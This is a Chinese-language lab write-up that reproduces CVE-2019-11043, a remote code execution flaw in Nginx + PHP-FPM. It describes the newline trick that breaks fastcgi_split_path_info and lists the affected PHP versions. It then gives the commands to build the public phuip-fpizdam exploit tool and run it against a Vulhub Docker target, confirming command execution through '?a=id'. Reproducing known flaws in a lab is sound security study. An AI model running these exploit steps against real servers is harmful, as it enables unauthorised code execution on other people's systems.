PHP远程代码执行漏洞复现(CVE-2019-11043)

漏洞描述

CVE-2019-11043 是一个远程代码执行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码。

向Nginx + PHP-FPM的服务器 URL发送 %0a 时,服务器返回异常。

攻击者可以使用换行符(%0a)来破坏fastcgi_split_path_info指令中的Regexp。Regexp被损坏导致PATH_INFO为空,从而触发该漏洞。

影响范围

在 Nginx + PHP-FPM 环境下,当启用了上述 Nginx 配置后,以下 PHP 版本受本次漏洞影响,

另外,PHP 5.6版本也受此漏洞影响,但目前只能 Crash,不可以远程代码执行:

  • PHP 7.0 版本
  • PHP 7.1 版本
  • PHP 7.2 版本
  • PHP 7.3 版本

漏洞环境:

攻击机:

kali

需要安装:

Go环境

安装:

扫描二维码关注公众号,回复: 10828999 查看本文章

sudo apt-get install docker docker-compose

sudo apt install golang

 

工具:

git clone https://github.com/neex/phuip-fpizdam.git

cd phuip-fpizdam

go get -v && go build

 

使用:

 cd phuip-fpizdam/

 ./phuip-fpizdam/

 go run . http://ip:8080/index.php

 

靶机:

ubantu

靶场:

Vulhub

安装:

git clone https://github.com/vulhub/vulhub.git

cd vulhub/php/CVE-2019-11043 && docker-compose up -d

漏洞复现:

 

启动环境之后,就可以看到漏洞环境的默认页面。在此为 http://ip:8080/index.php

 

上边工具安装完成之后,run 一下

然后访问

http://192.168.123.190:8080/index.php?a=id

 

此次复现成功。

猜你喜欢

转载自www.cnblogs.com/bflw/p/12708046.html